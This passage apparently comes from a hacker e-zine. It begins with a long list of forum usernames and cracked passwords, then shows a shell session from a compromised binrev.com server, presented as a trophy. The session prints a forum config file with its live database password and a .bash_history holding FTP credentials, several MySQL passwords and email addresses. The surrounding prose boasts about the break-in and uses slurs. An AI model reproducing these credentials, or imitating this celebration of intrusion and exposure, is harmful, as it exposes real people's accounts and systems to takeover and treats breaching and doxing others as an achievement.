D'pro:truk 18731 eric343:alien 18732 Schmuckatelli:fantasy 18733 shock:tyler2 18734 X-Hacker:random 18735 Symantek:1 18736 evilsperm:angels 18737 da_wunder:wunder 18738 sparkafatty:072160 18739 Ren:777 18740 Nightsky:4402020 18741 Phlame:kuffs 18742 Lordxar:doom 18743 Bikeboy:boston 18744 tracker:1234566 18745 RaMPaGe:lansing 18746 Nemesis1386:027702 18747 vampirexxi:gunshot 18748 gordon:moshi 18749 Mike18ca:baseball 18750 KodeCypher:kodecypher 18751 time43:12345 18752 peach:inlove 18753 OJ.SImpson:1134 18754 BodyLotion:kameler 18755 Akura:dragons 18756 Flappity:dabomb 18757 Realm:noway 18758 randomhero:please 18759 samurai491:slipknot 18760 trellix:jon 18761 Nanaki:cosmo 18762 wizhead:crackers 18763 Aeon:provost 18764 rawnewdlz:rawnewdlz 18765 Scorpion:fuckyou 18766 Lazarus:rootbeer 18767 Bean:huh 18768 AnarchyInfection:741235 18769 aSin:elf1 18770 hacker2442:member 18771 Jbull:jbull 18772 networker:wallace 18773 JackAss:kcampbell 18774 newguy:cooldude 18775 BURN3R:SAMSUNG 18776 Kangol:dantheman 18777 Rooster:enterprise 18778 JackDonkey:monkey 18779 Trance_Sniper:square 18780 MT:61284 18781 Newbee:newbee 18782 Lochor:shaolin 18783 Seabass:Bearfoot 18784 cAt:sbbut 18785 Beast:Tetris 18786 FB007:temp 18787 witchy:flames 18788 xizd:8816 18789 palmmjsg23:jennifer 18790 DarkLord:shithead 18791 daloa:7777 18792 izznit:1izznit 18793 coldrock:peach 18794 MZGuy:350450 18795 BuRnEr35:pennys 18796 lyric:bible 18797 rellikdruid:rellik 18798 hackersoncrack:hightimes 18799 ChanelONE:tikki 18800 Laodiceans:pitagoras 18801 rancid98:liquor 18802 JahRasta:plop 18803 *:seven 18804 funshippete:carnival 18805 ZeNkON:hak95 18806 StormFury:12345678 18807 Ian:ih 18808 Phantomater:presario 18809 gonzojournilist:shareef 18810 goingplatinum:brooklyn 18811 BestGuy:long 18812 Bath:maria 18813 supriya_kumar:password 18814 X-sist:passport 18815 AleZ:alexande 18816 dude:1 18817 18818 As you can see, despite having a massive userlist we still cracked a lot of 18819 them. This wasn't even a priority either, we had to limit our cracking of it 18820 because of actual priority hashes. 18821 18822 EH is the new champion of the noob score, which if you recall from the last 18823 zine is percent cracked times two. 100 * 2 * 10479 / (13523 + 10479) = 87. Very 18824 impressive! Now there is really no reason to remember blackcode. 18825 18826 I just feel sorry for the people who spend so much time posting useless info on 18827 forums like elitehackers just to rise to some kind of moderator rank. Get a 18828 life. 18829 18830 18831 18832 | 18833 \ / _\/_ 18834 Binary revolution .-'-. //o\ _\/_ 18835 -- / \ -- | /o\\ 18836 ^^~^~^~^~^~^~^~^~~^~^~^~^~^~^~^~^~^~^-=======-~^~~^^~~^~^~^~|~~^~^|^~` 18837 But build to destroy | 18838 You play with my world 18839 Like it's your little toy 18840 You put a gun in my hand 18841 And you hide from my eyes 18842 And you turn and run farther 18843 When the fast bullets fly. 18844 18845 18846 Binrev.com is just one of those relic sites on the internet, such as blackcode 18847 and elitehackers. They have no purpose, no skill and no point whatsoever to 18848 existing. They milk the "Hacking" name for profit and ego boost. Such behaviour 18849 is not to be tolerated, thus they felt the wrath of the almighty rm hammer. 18850 What really pissed us off about these mentally challenged people was the 18851 "hacking radio". 18852 18853 WARNING! Below you will see php code so retarded that might encourage you to 18854 commit seppuku. You have been warned. 18855 18856 binrev@binrev.com [/home/binrev]# uname -a 18857 Linux host.binrev.com 2.6.9-78.0.13.ELsmp #1 SMP Wed Jan 14 16:12:46 EST 2009 18858 i686 i686 i386 GNU/Linux 18859 binrev@binrev.com [/home/binrev]# id # pound? Did we accidentally drop root? 18860 uid=32035(binrev) gid=32036(binrev) groups=32036(binrev) 18861 context=root:system_r:unconfined_t 18862 binrev@binrev.com [/home/binrev]# # :( 18863 binrev@binrev.com [/home/binrev]# pwd 18864 /home/binrev 18865 binrev@binrev.com [/home/binrev]# ls -al 18866 total 336 18867 drwx--x--x 22 binrev binrev 4096 Jul 16 09:37 ./ 18868 drwx--x--x 41 root root 12288 Jul 5 19:21 ../ 18869 drwx------ 3 binrev binrev 4096 Jun 10 2007 .MirrorSearch/ 18870 drwx------ 2 binrev binrev 4096 Apr 19 2007 .autorespond/ 18871 -rw------- 1 binrev binrev 52 Jul 16 09:37 .autorespond-loopprotect 18872 -rw------- 1 binrev binrev 4959 Apr 26 01:34 .bash_history 18873 -rw-r--r-- 1 binrev binrev 24 Jan 27 2007 .bash_logout 18874 -rw-r--r-- 1 binrev binrev 191 Jan 27 2007 .bash_profile 18875 -rw-r--r-- 1 binrev binrev 124 Jan 27 2007 .bashrc 18876 -rw-r--r-- 1 binrev binrev 5619 Apr 5 2007 .canna 18877 -rw------- 1 binrev binrev 23 Jan 27 2007 .contactemail 18878 drwxr-xr-x 3 binrev binrev 4096 Aug 19 2007 .cpaddons/ 18879 drwxr-xr-x 5 binrev binrev 4096 Jun 28 14:49 .cpanel/ 18880 drwx------ 2 binrev binrev 4096 Jun 10 2007 .cpcpan/ 18881 -rw-r--r-- 1 binrev binrev 10 Jul 19 15:29 .dns 18882 -rw-r--r-- 1 binrev binrev 383 Jan 27 2007 .emacs 18883 drwxr-xr-x 6 binrev binrev 4096 Jul 24 2007 .fantasticodata/ 18884 -rw-r--r-- 1 binrev binrev 47 Jan 31 2007 .filter 18885 -rw------- 1 binrev binrev 18 Jun 21 00:13 .ftpquota 18886 drwxr-x--- 5 binrev nobody 4096 May 9 2007 .htpasswds/ 18887 -rw------- 1 binrev binrev 13 Jul 14 10:35 .lastlogin 18888 -rw------- 1 binrev binrev 2285 Sep 28 2008 .mysql_history 18889 -rw------- 1 binrev binrev 1024 Aug 16 2007 .rnd 18890 -rw------- 1 binrev binrev 0 Aug 16 2007 .securesslreqs 18891 drwx------ 2 binrev binrev 4096 Jul 19 15:26 .spamassassin/ 18892 drwx------ 2 binrev binrev 4096 Apr 5 2007 .sqmaildata/ 18893 drwx------ 2 binrev binrev 4096 Jul 5 19:21 .ssh/ 18894 drwx------ 2 binrev binrev 4096 May 6 2007 .trash/ 18895 -rw------- 1 binrev binrev 657 Apr 7 2007 .viminfo 18896 -rw------- 1 binrev binrev 0 Aug 16 2007 .xrampreqs 18897 lrwxrwxrwx 1 binrev binrev 32 Aug 11 2007 access-logs -> 18898 /usr/local/apache/domlogs/binrev/ 18899 drwxr-xr-x 4 binrev binrev 4096 Apr 5 2007 cpanel3-skel/ 18900 -rw-r----- 1 binrev binrev 1 Jul 5 17:36 cpbackup-exclude.conf 18901 drwxr-x--- 11 binrev mail 4096 May 9 2007 etc/ 18902 drwx------ 2 binrev binrev 4096 Dec 28 2007 logs/ 18903 drwxrwx--- 41 binrev binrev 4096 Jul 14 00:41 mail/ 18904 drwxr-xr-x 2 binrev binrev 4096 Apr 7 2007 nick84-temp/ 18905 drwxr-xr-x 3 binrev binrev 4096 May 10 2007 public_ftp/ 18906 drwxr-x--- 33 binrev nobody 4096 Jul 14 10:37 public_html/ 18907 drwx------ 4 binrev binrev 4096 Aug 16 2007 ssl/ 18908 drwxr-xr-x 7 binrev binrev 4096 Jun 28 14:49 tmp/ 18909 lrwxrwxrwx 1 root root 11 Apr 5 2007 www -> public_html/ 18910 binrev@binrev.com [/home/binrev/mail/binrev.com]# ls -al 18911 total 152 18912 drwxr-x--- 19 binrev binrev 4096 Jan 2 2008 ./ 18913 drwxrwx--- 41 binrev binrev 4096 Jul 14 00:41 ../ 18914 drwxr-xr-x 10 binrev binrev 4096 Apr 5 2007 articles/ 18915 drwxr-xr-x 6 binrev binrev 4096 Apr 5 2007 bitbucket/ 18916 drwxr-x--- 10 binrev binrev 4096 Apr 5 2007 drzigman/ 18917 drwxr-x--- 5 binrev binrev 4096 Apr 5 2007 forums/ 18918 drwxr-xr-x 7 binrev binrev 4096 Apr 5 2007 hackradio/ 18919 drwxr-x--- 6 binrev binrev 4096 Apr 5 2007 hacktv/ 18920 drwxr-x--- 5 binrev binrev 4096 Apr 5 2007 hiddenemail/ 18921 drwxr-xr-x 8 binrev binrev 4096 Apr 5 2007 letters/ 18922 drwxr-x--- 5 binrev binrev 4096 Apr 5 2007 mentorship/ 18923 drwxr-x--- 8 binrev binrev 4096 May 26 2008 nicktest/ 18924 drwxr-xr-x 6 binrev binrev 4096 Apr 5 2007 notes/ 18925 drwxr-xr-x 14 binrev binrev 4096 Apr 5 2007 orders/ 18926 drwxr-xr-x 15 binrev binrev 4096 Apr 5 2007 radio/ 18927 drwxr-xr-x 15 binrev binrev 4096 Aug 29 2008 stankdawg/ 18928 drwxr-x--- 5 binrev binrev 4096 Jan 2 2008 test/ 18929 drwxr-x--- 5 binrev binrev 4096 Apr 5 2007 verbal/ 18930 drwxr-x--- 13 binrev binrev 4096 Apr 5 2007 zer0db/ 18931 binrev@binrev.com [/home/binrev/mail/binrev.com]# cd ../../www 18932 binrev@binrev.com [/home/binrev/www]# ls -al 18933 total 5660 18934 drwxr-x--- 33 binrev nobody 4096 Jul 14 10:37 ./ 18935 drwx--x--x 22 binrev binrev 4096 Jul 16 09:37 ../ 18936 -rw-r--r-- 1 binrev binrev 616 Jul 14 10:37 .htaccess 18937 -rw-r--r-- 1 binrev binrev 11930 Aug 12 2006 SecRet.html 18938 drwxr-xr-x 2 binrev binrev 4096 Dec 27 2007 Templates/ 18939 -rw-r--r-- 1 binrev binrev 1754 Jan 29 2005 _vti_inf.html 18940 drwxr-xr-x 3 binrev binrev 4096 Aug 12 2007 agent/ 18941 -rw-r--r-- 1 binrev binrev 3924 Apr 8 2007 backup.htaccess 18942 drwxr-xr-x 2 binrev binrev 4096 Oct 14 2007 binrevhometest/ 18943 drwxr-xr-x 6 binrev binrev 4096 May 13 2007 breakmag/ 18944 -rw-r--r-- 1 binrev binrev 894 Jul 17 2005 brfavicon.ico 18945 -rw-r--r-- 1 binrev binrev 1785 May 3 2008 cert_emails.txt 18946 drwxr-xr-x 2 binrev binrev 4096 Apr 5 2007 cgi-bin/ 18947 drwxr-xr-x 3 binrev binrev 4096 Apr 20 2007 contact/ 18948 -rw-r--r-- 1 binrev binrev 12384 Aug 12 2006 contact.html 18949 drwxr-xr-x 3 binrev binrev 4096 Apr 20 2007 contacts/ 18950 -rw-r--r-- 1 binrev binrev 5315298 Jul 16 06:59 error_log 18951 drwxr-xr-x 2 binrev binrev 4096 Apr 5 2007 errors/ 18952 -rw-r--r-- 1 binrev binrev 22425 Aug 12 2006 faq.html 18953 -rw-r--r-- 1 binrev binrev 894 Sep 25 2005 favicon.ico 18954 drwxr-xr-x 2 root root 4096 Dec 28 2007 fghhj-keyfile/ 18955 drwxr-xr-x 3 binrev binrev 4096 Apr 1 16:29 forum/ 18956 drwxr-xr-x 4 binrev binrev 4096 Jul 17 03:08 forumbackups/ 18957 drwxr-xr-x 35 binrev binrev 4096 Jul 19 15:23 forums/ 18958 drwxr-xr-x 2 binrev binrev 4096 Apr 5 2007 forums_ads/ 18959 drwxr-xr-x 23 binrev binrev 4096 Apr 5 2007 forums_tempdel/ 18960 drwxr-xr-x 36 binrev binrev 4096 Jul 16 14:02 forumsdev/ 18961 drwxr-xr-x 22 binrev binrev 4096 Apr 5 2007 forumsdev-temptodel/ 18962 drwxr-xr-x 26 binrev binrev 4096 Aug 31 2007 forumsdev-temptodel2/ 18963 drwxr-xr-x 3 binrev binrev 4096 Apr 20 2007 gallery/ 18964 -rw-r--r-- 1 binrev binrev 2982 Apr 1 2007 hacked.index.html 18965 -rw-r--r-- 1 binrev binrev 3555 Apr 1 2007 hacked2.index 18966 drwxr-xr-x 3 binrev binrev 4096 Apr 5 2007 hacktv/ 18967 drwxr-xr-x 2 binrev binrev 4096 Apr 5 2007 images/ 18968 -rw-r--r-- 1 binrev binrev 84 Oct 14 2007 index\ -\ Copy.php 18969 -rw-r--r-- 1 binrev binrev 30162 Oct 8 2007 index.html 18970 -rw-r--r-- 1 binrev binrev 84 Oct 14 2007 index.php 18971 drwxr-xr-x 3 binrev binrev 4096 Apr 5 2007 irc/ 18972 drwxr-xr-x 6 binrev binrev 4096 Aug 18 2007 magazine/ 18973 drwxr-xr-x 3 binrev binrev 4096 Apr 20 2007 meeting/ 18974 drwxr-xr-x 3 binrev binrev 4096 Apr 20 2007 meetings/ 18975 drwxr-xr-x 3 binrev binrev 4096 Jun 28 14:50 members/ 18976 -rw-r--r-- 1 binrev binrev 330 Jun 18 2006 moving.html 18977 drwxr-xr-x 9 binrev binrev 4096 Apr 24 2007 projects/ 18978 drwxr-xr-x 6 binrev binrev 4096 Nov 6 2007 radio/ 18979 drwxr-xr-x 4 binrev binrev 4096 Oct 31 2007 site/ 18980 drwxr-xr-x 2 binrev binrev 4096 Apr 5 2007 suspended.page/ 18981 drwxr-xr-x 4 binrev binrev 4096 Aug 29 2007 temp_defcon_15_audio/ 18982 drwxr-xr-x 2 binrev binrev 4096 Oct 10 2008 temp_defcon_16_audio/ 18983 binrev@binrev.com [/home/binrev/www/forums]# ls -al 18984 total 1532 18985 drwxr-xr-x 35 binrev binrev 4096 Jul 19 15:23 ./ 18986 drwxr-x--- 33 binrev nobody 4096 Jul 14 10:37 ../ 18987 -rw-r--r-- 1 binrev binrev 179 Apr 20 2007 .htaccess 18988 drwxr-xr-x 3 binrev binrev 4096 Jul 19 15:54 Tools/ 18989 drwxr-xr-x 12 binrev binrev 4096 Jul 16 15:43 admin/ 18990 -rw-r--r-- 1 binrev binrev 1247 Feb 2 2008 admin.php 18991 -rw-r--r-- 1 binrev binrev 21372 Sep 6 2007 backup_index.php 18992 drwxrwxrwx 2 binrev binrev 4096 Oct 26 2007 banners/ 18993 drwxr-xr-x 13 binrev binrev 4096 Jul 5 19:43 blog/ 18994 drwxr-xr-x 6 binrev binrev 4096 Oct 4 2008 blog_setup/ 18995 -rw-r--r-- 1 binrev binrev 894 Jul 17 2005 brfavicon.ico 18996 drwxr-xr-x 8 binrev binrev 4096 Jul 17 07:34 cache/ 18997 drwxr-xr-x 2 binrev binrev 4096 Apr 20 2007 cgi-bin/ 18998 -rw-r--r-- 1 binrev binrev 527 Jul 16 15:43 conf_global.dist.php 18999 -rwxrwxrwx 1 binrev binrev 6821 Jul 7 20:43 conf_global.php* 19000 -rw-r--r-- 1 binrev binrev 0 Jun 14 2007 conf_global.php.dist 19001 drwxr-xr-x 3 binrev binrev 4096 Jul 16 15:46 converge_local/ 19002 -rw-r--r-- 1 binrev binrev 379181 Jul 19 15:23 error_log 19003 -r--r--r-- 1 binrev binrev 894 Dec 19 2007 favicon.ico 19004 drwxr-xr-x 2 binrev binrev 12288 Jul 6 17:45 flags/ 19005 drwxr-xr-x 27 binrev binrev 4096 Oct 4 2008 gallery_setup/ 19006 -rw-r--r-- 1 binrev binrev 76350 Jul 26 2006 gallery_templates.xml 19007 drwxr-xr-x 2 binrev binrev 4096 Jul 10 01:12 hooks/ 19008 -rw-r--r-- 1 binrev binrev 1286 Jul 19 15:23 i.php 19009 -rw-r--r-- 1 binrev binrev 703 Jul 16 15:43 index.php 19010 -rw-r--r-- 1 binrev binrev 9034 Oct 4 2008 init.php 19011 -rw-r--r-- 1 binrev binrev 9804 Jul 16 15:43 initdata.php 19012 drwxr-xr-x 7 binrev binrev 4096 Apr 7 2008 install/ 19013 drwxr-xr-x 5 binrev binrev 4096 Jul 16 15:46 interface/ 19014 -rw-r--r-- 1 binrev binrev 439893 Apr 29 2006 ipb_templates.xml 19015 -rw-r--r-- 1 binrev binrev 7678 Apr 29 2006 ipchat.php 19016 drwxr-xr-x 10 binrev binrev 4096 Jul 16 15:46 ips_kernel/ 19017 drwxr-xr-x 5 binrev binrev 4096 Oct 4 2008 jscripts/ 19018 -rw-r--r-- 1 binrev binrev 0 Mar 10 2007 local_93672.xml 19019 drwxr-xr-x 2 binrev binrev 4096 Jul 16 15:46 lofiversion/ 19020 drwxr-xr-x 2 binrev binrev 4096 Sep 6 2007 media/ 19021 drwxr-xr-x 2 binrev binrev 4096 Sep 6 2007 mod_install/ 19022 drwxr-xr-x 4 binrev binrev 4096 Oct 4 2008 modules/ 19023 -rw-r--r-- 1 binrev binrev 1406 Jan 21 2007 oldfavicon.ico 19024 -rw-r--r-- 1 binrev binrev 1406 Apr 29 2006 original_favicon.ico 19025 drwxr-xr-x 11 binrev binrev 4096 Jul 16 15:46 public/ 19026 drwxr-xr-x 5 binrev binrev 4096 Apr 29 2006 19027 rename_me_back_to_just_install/ 19028 drwxr-xr-x 7 binrev binrev 4096 Jan 21 2007 19029 rename_me_back_to_just_install2/ 19030 drwxr-xr-x 4 binrev binrev 4096 Oct 4 2008 resources/ 19031 drwxr-xr-x 2 binrev binrev 4096 Jul 16 15:47 retail/ 19032 -rw-r--r-- 1 binrev binrev 2153 Jul 16 15:43 robotstxt.txt 19033 drwxr-xr-x 4 binrev binrev 4096 Feb 2 2008 skin_acp/ 19034 drwxr-xr-x 18 binrev binrev 4096 Oct 4 2008 sources/ 19035 drwxr-xr-x 4 binrev binrev 4096 Feb 2 2008 style_avatars/ 19036 drwxr-xr-x 4 binrev binrev 4096 Oct 4 2008 style_captcha/ 19037 drwxr-xr-x 3 binrev binrev 4096 Feb 2 2008 style_emoticons/ 19038 drwxr-xr-x 11 binrev binrev 4096 Apr 2 15:46 style_images/ 19039 drwxr-xr-x 9 binrev binrev 4096 Oct 4 2008 upgrade/ 19040 drwxr-xr-x 36 binrev binrev 163840 Jul 17 20:50 uploads/ 19041 drwxr-xr-x 35 binrev binrev 4096 Mar 21 03:40 uploads_gallery/ 19042 -rw-r--r-- 1 binrev binrev 684 Jul 16 15:43 xml.php 19043 binrev@binrev.com [/home/binrev/www/forums]# cat conf_global.php 19044 ~~~~ snippy snippy ~~~~~ 19045 <?php 19046 $INFO['admin_group'] = '4'; 19047 $INFO['ban_email'] = '*@willhackforfood.biz|*@dodgeit.com|*@mailinator.com'; 19048 $INFO['ban_ip'] = '141.217.173.*|141.217.174.*|141.217.*.*|68.113.11.79|65.237.*.*'; 19049 $INFO['base_dir'] = '/home/binrev/public_html/forums/'; 19050 $INFO['board_desc'] = 'Website forums'; 19051 $INFO['board_name'] = 'Binary Revolution Forums'; 19052 $INFO['board_start'] = '1064288753'; 19053 $INFO['board_url'] = 19054 (isset($_SERVER['HTTPS'])) ? 'https://www.binrev.com/forums' : 'http://www.binrev.com/forums'; 19055 $INFO['boardname'] = 'IBForums'; 19056 $INFO['home_name'] = 'Binary Revolution'; 19057 $INFO['home_url'] = 'http://www.binrev.com/'; 19058 $INFO['hot_topic'] = '15'; 19059 $INFO['html_dir'] = '/home/binrev/public_html/forums/html/'; 19060 $INFO['html_url'] = 'http://www.binrev.com/forums/html'; 19061 $INFO['img_ext'] = 'gif|jpeg|jpg|png'; 19062 $INFO['sql_database'] = 'binrev_forums'; 19063 $INFO['sql_debug'] = '0'; 19064 $INFO['sql_driver'] = 'mySQL'; 19065 $INFO['sql_host'] = 'localhost'; 19066 $INFO['sql_pass'] = '2427821378a'; 19067 $INFO['sql_port'] = ''; 19068 $INFO['sql_tbl_prefix'] = 'ibf_'; 19069 $INFO['sql_user'] = 'binrev_forums'; 19070 $INFO['start_year'] = '2003'; 19071 $INFO['startpoll_cutoff'] = '24'; 19072 binrev@binrev.com [/home/binrev]# cat .bash_history 19073 33revolutionizeyourself 19074 dir 19075 cd public_ht 19076 cd public_html/ 19077 cd ar 19078 cd archive 19079 dir 19080 cd radio 19081 cd ar* 19082 dir 19083 wget -nd -c -r 19084 ftp://binrev:revolutionizeyourself@70.84.52.210/public_html/radio/archive/ 19085 ./wget -nd -c -r 19086 ftp://binrev:revolutionizeyourself@70.84.52.210/public_html/radio/archive/ 19087 ftp binrev:revolutionizeyourself@70.84.52.210 19088 dir 19089 cd public_html 19090 dir 19091 mkdir forums11 19092 cd forums11 19093 ftp 19094 chmod 755 /usr/bin/wget 19095 wget 19096 wget 19097 wget 19098 cd .. 19099 dir 19100 cd archive 19101 cd radio 19102 cd archive 19103 dir 19104 wget -nd -c -r 19105 ftp://binrev:revolutionizeyourself@70.84.52.210/public_html/radio/archive/ 19106 cd /home/binrev/public_html/forumbackups/ 19107 dir 19108 php -v 19109 backup.php 19110 php backup.php 19111 php backup.php 19112 dir 19113 mysqldump --opt -ubinrev_forums -pdghousefrms773 binrev_forums | more 19114 mysql -ubinrev_forums -pdghousefrms773 -Dbinrev_forums 19115 mysqldump --opt -ubinrev_forums -p3brfbrfbrf binrev_forums 19116 dir 19117 cd www 19118 cd forums11 19119 dir 19120 mysqldump --opt -ubinrev_forums -p3brfbrfbrf binrev_forums> existingback.sql 19121 dir 19122 mysqldump -ubinrev_forums -p3brfbrfbrf binrev_forums> existingback2.sql 19123 mysqldump --opt -ubinrev_forums -p3brfbrfbrf binrev_forums 19124 mysqldump --opt -ubinrev_forums -p3brfbrfbrf binrev_forums 19125 mysqldump --opt -ubinrev_forums -p3brfbrfbrf binrev_forums 19126 mysqldump --opt -ubinrev_forums -p3brfbrfbrf binrev_forums 19127 dir 19128 gzip --help 19129 dir 19130 gzip --help 19131 gzip -dc 19132 gzip -cd 2007-01-27--05-58-46__sqlbackup.gz 19133 gzip -cd 2007-01-27--05-58-46__sqlbackup.gz 19134 mysql -ubinrev_forums -p3brfbrfbrf binrev_forums 19135 gzip -cd 2007-01-27--05-58-46__sqlbackup.gz | mysql -ubinrev_forums 19136 -p3brfbrfbrf binrev_forums 19137 gzip -d 2007-01-27--05-58-46__filebackup.gz 19138 tar --help 19139 tar -xf 2007-01-27--05-58-46__filebackup 19140 dir 19141 dir 19142 cd www 19143 dir 19144 mysql -ubinrev_forumsdev -pdghousefrmsdev773 binrev_forumsdev 19145 dir 19146 cd for* 19147 cd .. 19148 cd forumsdev-temptodel/ 19149 mysqldump -ubinrev_forumsdev -pdghousefrmsdev773 binrev_forumsdev > 19150 dbbackup-123.sql 19151 mysqldump --opt -ubinrev_forums -p2427821378a binrev_forums 19152 mysqldump --opt -ubinrev_forums -p2427821378a binrev_forums | mysql 19153 -ubinrev_forumsdev -pdghousefrmsdev773 binrev_forumsdev 19154 mysqldump -ubinrev_forums -p2427821378a binrev_forums | mysql 19155 -ubinrev_forumsdev -pdghousefrmsdev773 binrev_forumsdev 19156 cd .. 19157 cd for* 19158 dir 19159 gzip --help 19160 gzip -c sqlbackup.gz 19161 dir 19162 cd www 19163 cd forumsb 19164 cd forumsb 19165 cd forumsb 19166 cd forumsbackup 19167 dir 19168 cd forumbackups 19169 dir 19170 ls -l 19171 gzip --help 19172 gzip -c -d sqlbackup.gz 19173 gzip -c -d sqlbackup.gz | mysql -ubinrev_forumsdev -pdghousefrmsdev773 19174 binrev_forumsdev 19175 dir 19176 cd www 19177 cp forums forumsdev -r 19178 mysql -ubinrev_forumsdev -pdghousefrmsdev773 binrev_forumsdev 19179 cd www 19180 cd forumbackups/ 19181 tail -F log.txt 19182 cat log.txt 19183 tail -F log.txt | more 19184 tail -F log.txt | more 19185 cat log.txt | more 19186 cat log.tx 19187 cat log.txt 19188 cat log.txt 19189 tail log.txt 19190 tail log.txt 19191 tail -F log.txt | more 19192 tail -F log.txt | more 19193 mysql -ubinrev_forums -p2427821378a binrev_forums 19194 dir 19195 cd www 19196 cd forumsb* 19197 dir 19198 cd forumbackups/ 19199 dir 19200 backup.php > log.txt 19201 php backup.php > log.txt 19202 php backup.php > log.txt 19203 echo "Subject: test" | /usr/lib/sendmail -v n84@mybox.rootsecure.net 19204 cd .. 19205 cd .. 19206 echo "Subject: test" | /usr/lib/sendmail -v tehbizz@gmail.com 19207 dir 19208 cd nick84* 19209 dir 19210 cd .. 19211 dir 19212 cd nick8* 19213 rm * 19214 rm -r * 19215 dir 19216 ftp 72.232.34.250 19217 dir 19218 pwd 19219 ftp 72.232.34.250 19220 dir 19221 cd www 19222 vi aa.php 19223 rm aa.php 19224 cd .. 19225 dir 19226 cd nick84* 19227 dir 19228 gzip --help 19229 gzip -d sqlbackup.gz 19230 gzip -d sqlbackup.gz 19231 dir 19232 ls -l 19233 rm sqlbackup 19234 dir 19235 mysql -ubinrev_forums -p2427821378a 19236 dir 19237 cd .. 19238 dir 19239 cd forums 19240 di 19241 cd www 19242 dir 19243 cd forums 19244 dir 19245 cd .. 19246 cd .. 19247 cd nick84-temp/ 19248 dir 19249 tar --help 19250 tar -zxf filebackup.tar.gz 19251 dir 19252 gzip --help 19253 gzip -d sqlbackup.gz 19254 dir 19255 cat sqlbackup | more 19256 dir 19257 cat sqlbackup | mysql -ubinrev_forums -p2427821378a 19258 mysql -ubinrev_forums -p2427821378a binrev_forums 19259 cat sqlbackup | mysql -ubinrev_forums -p2427821378a binrev_forums 19260 ifconfig 19261 cd www 19262 cd forumbac* 19263 crontab -l 19264 cd /home/binrev/public_html/forumbackups;php -q backup.php 19265 pwd 19266 ls -l 19267 cd www 19268 ls -l 19269 cd forumba* 19270 dir 19271 ls -l 19272 ls -l ../forums 19273 crontab -l 19274 cd /home/binrev/public_html/forumbackups;php -q backup.php 19275 cd www 19276 cd forumb* 19277 dir 19278 ls -l 19279 mv asdf 19280 mv sqlbackup.gz.gpg asdf 19281 mv asdf sqlbackup.gz.gpg 19282 cd forumsb 19283 cd public_ 19284 cd public_html/ 19285 cd forumsb 19286 dir 19287 cd forumbackups/ 19288 dir 19289 php backup.php 19290 mysql -ubinrev_forums -p2427821378a binrev_forums 19291 locate -n 1 .ttf 19292 ls 19293 cd www 19294 crontab -e 19295 cd forumbackups/ 19296 ls 19297 crontab --help 19298 crontab -l 19299 php -q backup.php 19300 ls 19301 cd www 19302 ls 19303 ls - 19304 cd www 19305 ls -l 19306 ls -l|grep bac 19307 cd forumbackups/ 19308 ls 19309 php backup.php 19310 ls 19311 cd www/ 19312 ls 19313 cd forumbackups/ 19314 ls 19315 php5 backup.php 19316 php backup.php 19317 ls 19318 cd public_ 19319 cd www 19320 cd backup.htaccess 19321 cd forumbackups/ 19322 ls 19323 php backup.php 19324 mysql 19325 history|grep mysql 19326 mysql -ubinrev_forums -p2427821378a binrev_forums 19327 ls 19328 cd public_ 19329 cd public_html/ 19330 cd backup.htaccess 19331 cd forumbackups/ 19332 ls 19333 php backup.php 19334 ls 19335 cd www 19336 ls 19337 ls -l 19338 cp -r forums forumsdev 19339 cp -r forums forumsdev 19340 mysqldump -ubinrev_forums -p2427821378a binrev_forums 19341 mysql -ubinrev_forumsdev -pdghousefrmsdev773 binrev_forumsdev 19342 mysqldump -ubinrev_forums -p2427821378a binrev_forums | mysql 19343 -ubinrev_forumsdev -pdghousefrmsdev773 binrev_forumsdev 19344 ls 19345 ls -lsaF 19346 ls -lsa 19347 ls -lsaF 19348 cd public_html/ 19349 ls 19350 ls -lsaF 19351 logout 19352 binrev@binrev.com [/home/binrev]# cat .mysql_history 19353 show tables; 19354 show databases; 19355 show tables; 19356 ALTER TABLE ibf_attachments_type ADD index(atype_extension); 19357 DELETE FROM ibf_admin_permission_keys WHERE perm_key='content:mem:add'; 19358 ALTER TABLE ibf_upgrade_history CHANGE upgrade_notes upgrade_notes TEXT NULL; 19359 ALTER TABLE ibf_attachments_type ADD INDEX atype ( atype_post , atype_photo ); 19360 ALTER TABLE ibf_moderator_logs CHANGE query_string query_string TEXT NULL; 19361 ALTER TABLE ibf_rss_import CHANGE rss_import_url rss_import_url TEXT NULL; 19362 show tables; 19363 show databases; 19364 show tables; 19365 ALTER TABLE ibf_forums CHANGE last_title last_title VARCHAR( 250 ) NULL DEFAULT 19366 NULL , CHANGE newest_title newest_title VARCHAR( 250 ) NULL DEFAULT NULL ; 19367 CREATE TABLE ibf_skin_url_mapping ( map_id INT(10) NOT NULL auto_increment, 19368 map_title VARCHAR(200) NOT NULL default '', map_match_type VARCHAR(10) NOT NULL 19369 default 'contains', map_url VARCHAR(200) NOT NULL default '', map_skin_set_id 19370 INT(10) UNSIGNED NOT NULL default '0', map_date_added INT(10) UNSIGNED NOT NULL 19371 default '0', PRIMARY KEY (map_id) ); 19372 ALTER TABLE ibf_mail_queue ADD mail_html_on INT(1) NOT NULL default '0'; 19373 ALTER TABLE ibf_skin_templates ADD group_names_secondary TEXT NULL; 19374 CREATE TABLE ibf_skin_template_links ( link_id INT(10) UNSIGNED NOT NULL 19375 auto_increment, link_set_id INT(10) UNSIGNED NOT NULL default '0', 19376 link_group_name VARCHAR(255) NOT NULL default '', link_template_name 19377 VARCHAR(255) NOT NULL default '', link_used_in VARCHAR(255) NOT NULL default 19378 '', PRIMARY KEY (link_id) ); 19379 alter table ibf_topics add index last_post_sorting(last_post,forum_id); 19380 alter table ibf_profile_comments drop index my_comments; 19381 alter table ibf_profile_comments add index my_comments 19382 (comment_for_member_id,comment_date); 19383 ALTER TABLE ibf_sessions ADD INDEX ( running_time ); 19384 ALTER TABLE ibf_conf_settings DROP conf_help_key; 19385 CREATE TABLE ibf_acp_help ( id INT( 10 ) NOT NULL AUTO_INCREMENT PRIMARY KEY , 19386 is_setting TINYINT( 1 ) NOT NULL DEFAULT '0', page_key VARCHAR( 255 ) NULL , 19387 help_title VARCHAR( 255 ) NULL , help_body TEXT NULL , help_mouseover VARCHAR( 19388 255 ) NULL , KEY page_key ( page_key ) ); 19389 ALTER TABLE ibf_skin_sets ADD set_key VARCHAR( 32 ) NULL ; 19390 ALTER TABLE ibf_skin_sets ADD INDEX ( set_key ) ; 19391 DELETE FROM ibf_acp_help WHERE page_key='coppa_address' AND is_setting=1; 19392 show tables 19393 ; 19394 binrev@binrev.com [/home/binrev]# ls -al /var/named 19395 total 328 19396 drwxr-xr-x 5 root named 4096 Jul 5 17:36 ./ 19397 drwxr-xr-x 26 root root 4096 Apr 28 00:15 ../ 19398 -rw-r--r-- 1 named named 1718 Apr 